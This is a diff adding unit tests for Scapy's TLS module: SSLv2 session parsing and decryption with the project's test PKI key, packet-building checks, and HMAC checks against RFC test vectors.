+d2 = b"\x80%\xee'\xc9\xb5(\xe3`\xcf\xaf\x1b\xa3 \x81\xad\x8b0\xc2Y\x8eg\xaaV\x90\x92\x02\xfe\xd1\xd0\t\xa3fE\x88\x97\x85\x08\xf5"
+import binascii
+
+= Reading SSLv2 session - SSLv2 parsing does not raise any error
+t = SSLv2(ch)
+
+= Reading SSLv2 session - Record with cleartext
+assert(t.len == 46)
+assert(not t.padlen)
+assert(not t.mac)
+assert(not t.pad)
+len(t.msg) == 1
+
+= Reading SSLv2 session - Record __getitem__
+SSLv2ClientHello in t
+
+= Reading SSLv2 session - ClientHello
+ch = t.msg[0]
+assert(isinstance(ch, SSLv2ClientHello))
+assert(ch.msgtype == 1)
+assert(ch.version == 0x0002)
+assert(ch.cipherslen == 21)
+assert(not ch.sid)
+assert(ch.challengelen == 16)
+assert(ch.ciphers == [0x0700c0, 0x050080, 0x030080, 0x010080, 0x060040, 0x040080, 0x020080])
+ch.challenge == binascii.unhexlify('1afb2f9ca3d1293454a3152821ffd10c')
+
+= Reading SSLv2 session - ServerHello
+t = SSLv2(sh, tls_session=t.tls_session.mirror())
+sh = t.msg[0]
+assert(isinstance(sh, SSLv2ServerHello))
+assert(sh.msgtype == 4)
+assert(sh.sid_hit == 0)
+assert(sh.certtype == 1)
+assert(sh.version == 0x0002)
+assert(sh.certlen == 930)
+assert(sh.cipherslen == 3)
+assert(sh.connection_idlen == 16)
+assert(isinstance(sh.cert, Cert))
+assert(len(sh.cert.der) == 930)
+assert(sh.cert.subject_str == '/C=MN/L=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test Server')
+assert(sh.ciphers == [0x020080])
+sh.connection_id == binascii.unhexlify('391952a4ab299394cd8a2c5e03b9f180')
+
+= Reading SSLv2 session - ClientMasterKey with unknown server key
+t_enc = SSLv2(mk)
+mk_enc = t_enc.msg[0]
+assert(mk_enc.clearkeylen == 11)
+assert(mk_enc.encryptedkeylen == 256)
+assert(mk_enc.clearkey == binascii.unhexlify('7ec2f99e946902feedc4dc'))
+assert(mk_enc.encryptedkey[:3] == b"\x9b\xe0\xe7" and mk_enc.encryptedkey[-3:] == b"\xea\x57\x2e")
+assert(t_enc.tls_session.pwcs.tls_version == 0x0002)
+assert(t_enc.tls_session.prcs.tls_version == 0x0002)
+mk_enc.decryptedkey is None
+
+= Reading SSLv2 session - Importing server compromised key
+import os
+basedir = os.path.abspath(os.path.join(os.path.dirname(__file__),"../"))
+rsa_key = PrivKeyRSA(basedir + '/test/tls/pki/srv_key.pem')
+t.tls_session.server_rsa_key = rsa_key
+
+= Reading SSLv2 session - ClientMasterKey with compromised server key
+t = SSLv2(mk, tls_session=t.tls_session.mirror())
+assert(t.len == 277 and not t.padlen and not t.mac and not t.pad)
+mk = t.msg[0]
+assert(isinstance(mk, SSLv2ClientMasterKey))
+assert(mk.msgtype == 2)
+assert(mk.cipher == 0x020080)
+assert(mk.clearkeylen == 11)
+assert(mk.encryptedkeylen == 256)
+assert(mk.keyarglen == 0)
+assert(mk.clearkey == binascii.unhexlify('7ec2f99e946902feedc4dc'))
+assert(mk.decryptedkey == binascii.unhexlify('e2d430fc04'))
+not mk.keyarg
+
+= Reading SSLv2 session - Checking session secrets
+s = t.tls_session
+assert(s.sslv2_common_cs == [0x020080])
+assert(s.sslv2_challenge == ch.challenge)
+assert(not s.pre_master_secret)
+assert(s.master_secret == b'~\xc2\xf9\x9e\x94i\x02\xfe\xed\xc4\xdc\xe2\xd40\xfc\x04')
+assert(s.sslv2_key_material == b'\xf4\xae\x00\x03kB>\x06\xba[\xd7\xea,\x08\xc2\xae\xba\xf3\x10\xbf\xea\x08\x8flV\x11D\xc5L\xad3\xf9')
+assert(s.rcs.cipher.key == b'\xba\xf3\x10\xbf\xea\x08\x8flV\x11D\xc5L\xad3\xf9')
+s.wcs.cipher.key == b'\xf4\xae\x00\x03kB>\x06\xba[\xd7\xea,\x08\xc2\xae'
+
+= Reading SSLv2 session - Record with ciphertext
+t = SSLv2(sv, tls_session=t.tls_session.mirror())
+assert(t.len == 33)
+assert(not t.padlen)
+assert(t.mac == b'?:\xf3vE\xf3\xe83\x1a\xd0\xab\xba\xb6\x86\xe6\x89')
+not t.pad
+
+= Reading SSLv2 session - ServerVerify
+sv = t.msg[0]
+assert(isinstance(sv, SSLv2ServerVerify))
+assert(sv.msgtype == 5)
+sv.challenge == ch.challenge
+
+= Reading SSLv2 session - ClientFinished
+t = SSLv2(cf, tls_session=t.tls_session.mirror())
+cf = t.msg[0]
+assert(isinstance(cf, SSLv2ClientFinished))
+assert(cf.msgtype == 3)
+cf.connection_id == sh.connection_id
+
+= Reading SSLv2 session - RequestCertificate
+t = SSLv2(rc, tls_session=t.tls_session.mirror())
+rc = t.msg[0]
+assert(isinstance(rc, SSLv2RequestCertificate))
+assert(rc.msgtype == 7)
+assert(rc.authtype == 1)
+rc.challenge == binascii.unhexlify('19619ddf7384d68e7a614ae1989ab41e')
+
+= Reading SSLv2 session - ClientCertificate
+t = SSLv2(cc, tls_session=t.tls_session.mirror())
+cc = t.msg[0]
+assert(isinstance(cc, SSLv2ClientCertificate))
+assert(cc.msgtype == 8)
+assert(cc.certtype == 1)
+assert(cc.certlen == 930)
+assert(cc.responselen == 256)
+assert(isinstance(cc.certdata, Cert))
+assert(len(cc.certdata.der) == 930)
+assert(cc.certdata.subject_str == '/C=MN/L=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test Client')
+assert(len(cc.responsedata.sig_val) == 256)
+cc.responsedata.sig_val[:4] == b"\x81#\x95\xb5" and cc.responsedata.sig_val[-4:] == b"RM6\xd3"
+
+= Reading SSLv2 session - ServerFinished
+t = SSLv2(sf, tls_session=t.tls_session.mirror())
+sf = t.msg[0]
+assert(isinstance(sf, SSLv2ServerFinished))
+assert(sf.msgtype == 6)
+sf.sid == binascii.unhexlify('11c1e8070b2cf249ad3d85caf8854bc8')
+
+= Reading SSLv2 session - Application data
+t1 = SSLv2(d1, tls_session=t.tls_session.mirror())
+data1 = t1.msg[0]
+assert(isinstance(data1, Raw))
+assert(data1.load == b'These are horrendous parameters for a TLS session.\n')
+t2 = SSLv2(d2, tls_session=t1.tls_session)
+data2 = t2.msg[0]
+assert(isinstance(data2, Raw))
+data2.load ==  b'*nothing to do here*\n'
+
+= Reading SSLv2 session - Checking final sequence numbers
+t2.tls_session.rcs.seq_num == 6 and t2.tls_session.wcs.seq_num == 4
+
+
+###############################################################################
+####################### TLS-related scapy internals ###########################
+###############################################################################
+
++ Check TLS-related scapy internals
+
+= Check TLS-related scapy internals - Checking raw() harmlessness (with RC4)
+t1.show()
+assert(t1.msg[0].load == b'These are horrendous parameters for a TLS session.\n')
+assert(t1.tls_session.rcs.seq_num == 6 and t1.tls_session.wcs.seq_num == 4)
+d1 == raw(t1)
+
+= Check TLS-related scapy internals - Checking show2() harmlessness (with RC4)
+t2.show2()
+assert(t2.msg[0].load == b'*nothing to do here*\n')
+assert(t2.tls_session.rcs.seq_num == 6 and t2.tls_session.wcs.seq_num == 4)
+d2 == raw(t2)
+
+= Check TLS-related scapy internals - Checking show2() harmlessness (with 3DES)
+# These are also taken from a s_client/s_server session.
+ch = b'\x80.\x01\x00\x02\x00\x15\x00\x00\x00\x10\x07\x00\xc0\x05\x00\x80\x03\x00\x80\x01\x00\x80\x06\x00@\x04\x00\x80\x02\x00\x80!2bc\x97^\xa3\r9\x14*\xe4\xd6\xd4\n\x1e'
+sh = b'\x83\xd2\x04\x00\x01\x00\x02\x03\xa2\x00\x15\x00\x100\x82\x03\x9e0\x82\x02\x86\xa0\x03\x02\x01\x02\x02\t\x00\xfe\x04W\r\xc7\'\xe9\xf60\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000T1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x160\x14\x06\x03U\x04\x03\x0c\rScapy Test CA0\x1e\x17\r160916102811Z\x17\r260915102811Z0X1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x1a0\x18\x06\x03U\x04\x03\x0c\x11Scapy Test Server0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcc\xf1\xf1\x9b`-`\xae\xf2\x98\r\')\xd9\xc0\tYL\x0fJ0\xa8R\xdf\xe5\xb1!\x9fO\xc3=V\x93\xdd_\xc6\xf7\xb3\xf6U\x8b\xe7\x92\xe2\xde\xf2\x85I\xb4\xa1,\xf4\xfdv\xa8g\xca\x04 `\x11\x18\xa6\xf2\xa9\xb6\xa6\x1d\xd9\xaa\xe5\xd9\xdb\xaf\xe6\xafUW\x9f\xffR\x89e\xe6\x80b\x80!\x94\xbc\xcf\x81\x1b\xcbg\xc2\x9d\xb5\x05w\x04\xa6\xc7\x88\x18\x80xh\x956\xde\x97\x1b\xb6a\x87B\x1au\x98E\x82\xeb>2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x07\x00\xc0\x05\x00\x80\x03\x00\x80\x01\x00\x80\x06\x00@\x04\x00\x80\x02\x00\x80\x03\xea\xd5\x88T&\xe7\\\xc9wM\x05\x1fo\xbf\xec'
+mk = b'\x81\x12\x02\x07\x00\xc0\x00\x00\x01\x00\x00\x08(\xc98#b\xc1\x94\x9e\xf1|\xd3\x98/\x84\xa6\xfb\x1e}b7\xf1\xfa9\xc3\xb4A\xe4\xb7\x97\xcd\x0c\xd4\x81\x82\xee\x8b\x80f]_\xbc\xe5\xeb\xe4}b\x82 \xa1S\xd5\xbe\xb3\xf7\xbb\x1c]zm\xe6\xc5\x95\xe3Y\x9d\x84b\xf2\x89\x08i\xf9"\x8d\xf7\xb9\xe3\xb5\xcb\x90\xc2V\xcel\x14\xb0\xd4-\xb3\xd3\xfe\x83\x8a(\x025\xd0Y\x9b4M\xde\xc6\x99{H\x89u.\xfa\x17\x13|\xd39\xf6sc\xaat\x9fy\xf69s9\xbfM\xdc\xcdT\x8d~U"\xdd\xce\xab\xfa\x0e\xa9\x90$s&\x0c8\xe4\x13b\x15\xc7\xc2\r#\xc96\x04{\x14\xd0\x19\xef\x13ql\x07\xbf\'\xfb\xdc\x14t\xf6I\xe6\x0b\xe7\xf2\xd6e\'%2H\x81\x16\x0bT;0\x95G%E\xc559p\x85S\x07\xbf\x03\xb0^\x06\xf0\xdcL\xd4\xf2\x9b\xf7\xc6T\xdb%MS\x8ch\xb5\x91H\xffF\xf0\xafCw\x1a:7\x1f\xf8\x05\x944\xc1p\xb6\x8e\x12.#,a\xd4s\xc7\x9f\xe5\xbf\xcb\xee\x1aS\xa71\x15\xf5pE'
+sv = b'\x00(\x07q\x8c\x08\xdb\xa8\xaa\x8d\x87\x0b\xe8\x01^\xed\x87\x8e\xb2\xc0\xa9\x84\x11v)~\xf8\xd9,\xea\xe2\x05\x86\x1d\x01n\xe1\xe6\xccE[\xcej'
+t = SSLv2(ch)
+t.show2()
+challenge = t.msg[0].challenge
+t = SSLv2(sh, tls_session=t.tls_session.mirror())
+t.show2()
+t.tls_session.server_rsa_key = rsa_key
+t = SSLv2(mk, tls_session=t.tls_session.mirror())
+t.show2()
+t.show2()
+t = SSLv2(sv, tls_session=t.tls_session.mirror())
+t.show2()
+t.show2()
+assert(t.padlen == 7)
+assert(t.mac == b'\xe7\xe4\x08\x0e\x86\xc4\x93\t\x80l/\x80\xdaQ\xa0z')
+assert(t.tls_session.rcs.seq_num == 2)
+assert(t.tls_session.wcs.seq_num == 2)
+t.msg[0].challenge == challenge
+
+= Check TLS-related scapy internals - Checking tls_session freeze during show2()
+l = len(t.tls_session.handshake_messages)
+t.show2()
+l == len(t.tls_session.handshake_messages)
+
+= Check TLS-related scapy internals - Checking SSLv2 cast from TLS class
+t = TLS(ch)
+assert(isinstance(t, SSLv2))
+t.msg[0].challenge == challenge
+
+
+###############################################################################
+######################### Building SSLv2 packets ##############################
+###############################################################################
+
++ Build SSLv2 packets
+
+= Building SSLv2 packets - Various default messages
+raw(SSLv2())
+raw(SSLv2Error())
+raw(SSLv2ClientHello())
+raw(SSLv2ServerHello())
+raw(SSLv2ClientMasterKey())
+raw(SSLv2ServerVerify())
+raw(SSLv2ClientFinished())
+raw(SSLv2RequestCertificate())
+raw(SSLv2ClientCertificate())
+raw(SSLv2ServerFinished())
+
+= Building SSLv2 packets - Error within clear record
+t = SSLv2(msg=SSLv2Error(code='no_cipher'))
+raw(t) == b'\x80\x03\x00\x00\x01'
+
+= Building SSLv2 packets - ClientHello with automatic length computation
+ch_pkt = SSLv2ClientHello()
+ch_pkt.msgtype = 'client_hello'
+ch_pkt.version = 0x0002
+ch_pkt.ciphers = [SSL_CK_DES_192_EDE3_CBC_WITH_MD5, SSL_CK_IDEA_128_CBC_WITH_MD5, SSL_CK_RC2_128_CBC_WITH_MD5, SSL_CK_RC4_128_WITH_MD5, SSL_CK_DES_64_CBC_WITH_MD5, SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5, SSL_CK_RC4_128_EXPORT40_WITH_MD5]
+ch_pkt.challenge = b'!2bc\x97^\xa3\r9\x14*\xe4\xd6\xd4\n\x1e'
+t = SSLv2(msg=ch_pkt)
+raw(t) == ch
+
+= Building SSLv2 packets - ClientMasterKey context linking
+mk = SSLv2ClientMasterKey(cipher='SSL_CK_DES_192_EDE3_CBC_WITH_MD5', clearkey=b'\xff'*19, encryptedkey=b'\0'*256, decryptedkey=b'\xaa'*5, keyarg=b'\x01'*8)
+t = SSLv2(msg=mk)
+t.tls_session.sslv2_connection_id = b'\xba'*16
+t.tls_session.sslv2_challenge = b'\x42'*16
+t.raw_stateful()
+s = t.tls_session
+assert(s.master_secret == b'\xff'*19 + b'\xaa'*5)
+assert(isinstance(s.rcs.ciphersuite, SSL_CK_DES_192_EDE3_CBC_WITH_MD5))
+assert(isinstance(s.wcs.ciphersuite, SSL_CK_DES_192_EDE3_CBC_WITH_MD5))
+s.rcs.cipher.iv == b'\x01'*8
+s.wcs.cipher.iv == b'\x01'*8
+
+
+###############################################################################
+############################ Automaton behaviour ##############################
+###############################################################################
+
+# see test/tls/tests_tls_netaccess.uts
+
diff --git a/test/tls.uts b/test/tls.uts
new file mode 100644
index 0000000..ffaf690
--- /dev/null
+++ b/test/tls.uts
@@ -0,0 +1,1118 @@
+% Tests for TLS module
+# 
+# Try me with :
+# bash test/run_tests -t test/tls.uts -F
+
+~ crypto
+
+###############################################################################
+################################### Crypto ####################################
+###############################################################################
+
+###############################################################################
+### HMAC                                                                    ###
+###############################################################################
+
++ Test HMACs
+
+= Crypto - Hmac_MD5 instantiation, parameter check 
+from scapy.layers.tls.crypto.h_mac import Hmac_MD5
+a = Hmac_MD5("somekey")
+a.key_len == 16 and a.hmac_len == 16
+
+= Crypto - Hmac_MD5 behavior on test vectors from RFC 2202 (+ errata)
+a = Hmac_MD5
+t1 = a(b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b').digest("Hi There") == b'\x92\x94\x72\x7a\x36\x38\xbb\x1c\x13\xf4\x8e\xf8\x15\x8b\xfc\x9d'
+t2 = a('Jefe').digest('what do ya want for nothing?') == b'\x75\x0c\x78\x3e\x6a\xb0\xb5\x03\xea\xa8\x6e\x31\x0a\x5d\xb7\x38'
+t3 = a(b'\xaa'*16).digest(b'\xdd'*50) == b'\x56\xbe\x34\x52\x1d\x14\x4c\x88\xdb\xb8\xc7\x33\xf0\xe8\xb3\xf6'
+t4 = a(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19').digest(b'\xcd'*50) == b'\x69\x7e\xaf\x0a\xca\x3a\x3a\xea\x3a\x75\x16\x47\x46\xff\xaa\x79'
+t5 = a(b'\x0c'*16).digest("Test With Truncation") == b'\x56\x46\x1e\xf2\x34\x2e\xdc\x00\xf9\xba\xb9\x95\x69\x0e\xfd\x4c'
+t6 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key - Hash Key First") == b'\x6b\x1a\xb7\xfe\x4b\xd7\xbf\x8f\x0b\x62\xe6\xce\x61\xb9\xd0\xcd'
+t7 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data") == b'\x6f\x63\x0f\xad\x67\xcd\xa0\xee\x1f\xb1\xf5\x62\xdb\x3a\xa5\x3e'
+t1 and t2 and t3 and t4 and t5 and t6 and t7
+
+
+= Crypto - Hmac_SHA instantiation, parameter check 
+from scapy.layers.tls.crypto.h_mac import Hmac_SHA
+a = Hmac_SHA("somekey")
+a.key_len == 20 and a.hmac_len == 20
+
+= Crypto - Hmac_SHA behavior on test vectors from RFC 2202 (+ errata)
+a = Hmac_SHA
+t1 = a(b'\x0b'*20).digest("Hi There") == b'\xb6\x17\x31\x86\x55\x05\x72\x64\xe2\x8b\xc0\xb6\xfb\x37\x8c\x8e\xf1\x46\xbe\x00'
+t2 = a('Jefe').digest("what do ya want for nothing?") == b'\xef\xfc\xdf\x6a\xe5\xeb\x2f\xa2\xd2\x74\x16\xd5\xf1\x84\xdf\x9c\x25\x9a\x7c\x79'
+t3 = a(b'\xaa'*20).digest(b'\xdd'*50) == b'\x12\x5d\x73\x42\xb9\xac\x11\xcd\x91\xa3\x9a\xf4\x8a\xa1\x7b\x4f\x63\xf1\x75\xd3'
+t4 = a(b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19').digest(b'\xcd'*50) == b'\x4c\x90\x07\xf4\x02\x62\x50\xc6\xbc\x84\x14\xf9\xbf\x50\xc8\x6c\x2d\x72\x35\xda'
+t5 = a(b'\x0c'*20).digest("Test With Truncation") == b'\x4c\x1a\x03\x42\x4b\x55\xe0\x7f\xe7\xf2\x7b\xe1\xd5\x8b\xb9\x32\x4a\x9a\x5a\x04'
+t6 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key - Hash Key First") == b'\xaa\x4a\xe5\xe1\x52\x72\xd0\x0e\x95\x70\x56\x37\xce\x8a\x3b\x55\xed\x40\x21\x12'
+t7 = a(b'\xaa'*80).digest("Test Using Larger Than Block-Size Key and Larger Than One Block-Size Data") == b'\xe8\xe9\x9d\x0f\x45\x23\x7d\x78\x6d\x6b\xba\xa7\x96\x5c\x78\x08\xbb\xff\x1a\x91'
+t1 and t2 and t3 and t4 and t5 and t6 and t7
+
+
+= Crypto - Hmac_SHA2 behavior on test vectors from RFC 4231
+
+class _hmac_test_case_1:
+    Key          = (b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'+
+                    b'\x0b\x0b\x0b\x0b\x0b\x0b\x0b')
+    Data         =  b'\x48\x69\x20\x54\x68\x65\x72\x65'
+    HMAC_SHA_224 = (b'\x89\x6f\xb1\x12\x8a\xbb\xdf\x19\x68\x32\x10\x7c\xd4'+
+                    b'\x9d\xf3\x3f\x47\xb4\xb1\x16\x99\x12\xba\x4f\x53\x68'+
+                    b'\x4b\x22')
+    HMAC_SHA_256 = (b'\xb0\x34\x4c\x61\xd8\xdb\x38\x53\x5c\xa8\xaf\xce\xaf'+
+                    b'\x0b\xf1\x2b\x88\x1d\xc2\x00\xc9\x83\x3d\xa7\x26\xe9'+
+                    b'\x37\x6c\x2e\x32\xcf\xf7')
+    HMAC_SHA_384 = (b'\xaf\xd0\x39\x44\xd8\x48\x95\x62\x6b\x08\x25\xf4\xab'+
+                    b'\x46\x90\x7f\x15\xf9\xda\xdb\xe4\x10\x1e\xc6\x82\xaa'+
+                    b'\x03\x4c\x7c\xeb\xc5\x9c\xfa\xea\x9e\xa9\x07\x6e\xde'+
+                    b'\x7f\x4a\xf1\x52\xe8\xb2\xfa\x9c\xb6')
+    HMAC_SHA_512 = (b'\x87\xaa\x7c\xde\xa5\xef\x61\x9d\x4f\xf0\xb4\x24\x1a'+
+                    b'\x1d\x6c\xb0\x23\x79\xf4\xe2\xce\x4e\xc2\x78\x7a\xd0'+
+                    b'\xb3\x05\x45\xe1\x7c\xde\xda\xa8\x33\xb7\xd6\xb8\xa7'+
+                    b'\x02\x03\x8b\x27\x4e\xae\xa3\xf4\xe4\xbe\x9d\x91\x4e'+
+                    b'\xeb\x61\xf1\x70\x2e\x69\x6c\x20\x3a\x12\x68\x54')
+
+class _hmac_test_case_2:
+    Key          = b'\x4a\x65\x66\x65'
+    Data         = (b'\x77\x68\x61\x74\x20\x64\x6f\x20\x79\x61\x20\x77\x61'+
+                    b'\x6e\x74\x20\x66\x6f\x72\x20\x6e\x6f\x74\x68\x69\x6e'+
+                    b'\x67\x3f')
+    HMAC_SHA_224 = (b'\xa3\x0e\x01\x09\x8b\xc6\xdb\xbf\x45\x69\x0f\x3a\x7e'+
+                    b'\x9e\x6d\x0f\x8b\xbe\xa2\xa3\x9e\x61\x48\x00\x8f\xd0'+
+                    b'\x5e\x44')
+    HMAC_SHA_256 = (b'\x5b\xdc\xc1\x46\xbf\x60\x75\x4e\x6a\x04\x24\x26\x08'+
+                    b'\x95\x75\xc7\x5a\x00\x3f\x08\x9d\x27\x39\x83\x9d\xec'+
+                    b'\x58\xb9\x64\xec\x38\x43')
+    HMAC_SHA_384 = (b'\xaf\x45\xd2\xe3\x76\x48\x40\x31\x61\x7f\x78\xd2\xb5'+
+                    b'\x8a\x6b\x1b\x9c\x7e\xf4\x64\xf5\xa0\x1b\x47\xe4\x2e'+
+                    b'\xc3\x73\x63\x22\x44\x5e\x8e\x22\x40\xca\x5e\x69\xe2'+
+                    b'\xc7\x8b\x32\x39\xec\xfa\xb2\x16\x49')
+    HMAC_SHA_512 = (b'\x16\x4b\x7a\x7b\xfc\xf8\x19\xe2\xe3\x95\xfb\xe7\x3b'+
+                    b'\x56\xe0\xa3\x87\xbd\x64\x22\x2e\x83\x1f\xd6\x10\x27'+
+                    b'\x0c\xd7\xea\x25\x05\x54\x97\x58\xbf\x75\xc0\x5a\x99'+
+                    b'\x4a\x6d\x03\x4f\x65\xf8\xf0\xe6\xfd\xca\xea\xb1\xa3'+
+                    b'\x4d\x4a\x6b\x4b\x63\x6e\x07\x0a\x38\xbc\xe7\x37')
+
+class _hmac_test_case_3:
+    Key          = (b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'+
+                    b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa')
+    Data         = (b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd'+
+                    b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd'+
+                    b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd'+
+                    b'\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd')
+    HMAC_SHA_224 = (b'\x7f\xb3\xcb\x35\x88\xc6\xc1\xf6\xff\xa9\x69\x4d\x7d'+
+                    b'\x6a\xd2\x64\x93\x65\xb0\xc1\xf6\x5d\x69\xd1\xec\x83'+
+                    b'\x33\xea')
+    HMAC_SHA_256 = (b'\x77\x3e\xa9\x1e\x36\x80\x0e\x46\x85\x4d\xb8\xeb\xd0'+
+                    b'\x91\x81\xa7\x29\x59\x09\x8b\x3e\xf8\xc1\x22\xd9\x63'+
+                    b'\x55\x14\xce\xd5\x65\xfe')
+    HMAC_SHA_384 = (b'\x88\x06\x26\x08\xd3\xe6\xad\x8a\x0a\xa2\xac\xe0\x14'+
+                    b'\xc8\xa8\x6f\x0a\xa6\x35\xd9\x47\xac\x9f\xeb\xe8\x3e'+
+                    b'\xf4\xe5\x59\x66\x14\x4b\x2a\x5a\xb3\x9d\xc1\x38\x14'+
+                    b'\xb9\x4e\x3a\xb6\xe1\x01\xa3\x4f\x27')
+    HMAC_SHA_512 = (b'\xfa\x73\xb0\x08\x9d\x56\xa2\x84\xef\xb0\xf0\x75\x6c'+
+                    b'\x89\x0b\xe9\xb1\xb5\xdb\xdd\x8e\xe8\x1a\x36\x55\xf8'+
+                    b'\x3e\x33\xb2\x27\x9d\x39\xbf\x3e\x84\x82\x79\xa7\x22'+
+                    b'\xc8\x06\xb4\x85\xa4\x7e\x67\xc8\x07\xb9\x46\xa3\x37'+
+                    b'\xbe\xe8\x94\x26\x74\x27\x88\x59\xe1\x32\x92\xfb')
+
+class _hmac_test_case_4:
+    Key          = (b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d'+
+                    b'\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19')
+    Data         = (b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd'+
+                    b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd'+
+                    b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd'+
+                    b'\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd')
+    HMAC_SHA_224 = (b'\x6c\x11\x50\x68\x74\x01\x3c\xac\x6a\x2a\xbc\x1b\xb3'+
+                    b'\x82\x62\x7c\xec\x6a\x90\xd8\x6e\xfc\x01\x2d\xe7\xaf'+
+                    b'\xec\x5a')
+    HMAC_SHA_256 = (b'\x82\x55\x8a\x38\x9a\x44\x3c\x0e\xa4\xcc\x81\x98\x99'+
+                    b'\xf2\x08\x3a\x85\xf0\xfa\xa3\xe5\x78\xf8\x07\x7a\x2e'+
+                    b'\x3f\xf4\x67\x29\x66\x5b')
+    HMAC_SHA_384 = (b'\x3e\x8a\x69\xb7\x78\x3c\x25\x85\x19\x33\xab\x62\x90'+
+                    b'\xaf\x6c\xa7\x7a\x99\x81\x48\x08\x50\x00\x9c\xc5\x57'+
+                    b'\x7c\x6e\x1f\x57\x3b\x4e\x68\x01\xdd\x23\xc4\xa7\xd6'+
+                    b'\x79\xcc\xf8\xa3\x86\xc6\x74\xcf\xfb')
+    HMAC_SHA_512 = (b'\xb0\xba\x46\x56\x37\x45\x8c\x69\x90\xe5\xa8\xc5\xf6'+
+                    b'\x1d\x4a\xf7\xe5\x76\xd9\x7f\xf9\x4b\x87\x2d\xe7\x6f'+
+                    b'\x80\x50\x36\x1e\xe3\xdb\xa9\x1c\xa5\xc1\x1a\xa2\x5e'+
+                    b'\xb4\xd6\x79\x27\x5c\xc5\x78\x80\x63\xa5\xf1\x97\x41'+
+                    b'\x12\x0c\x4f\x2d\xe2\xad\xeb\xeb\x10\xa2\x98\xdd')
+
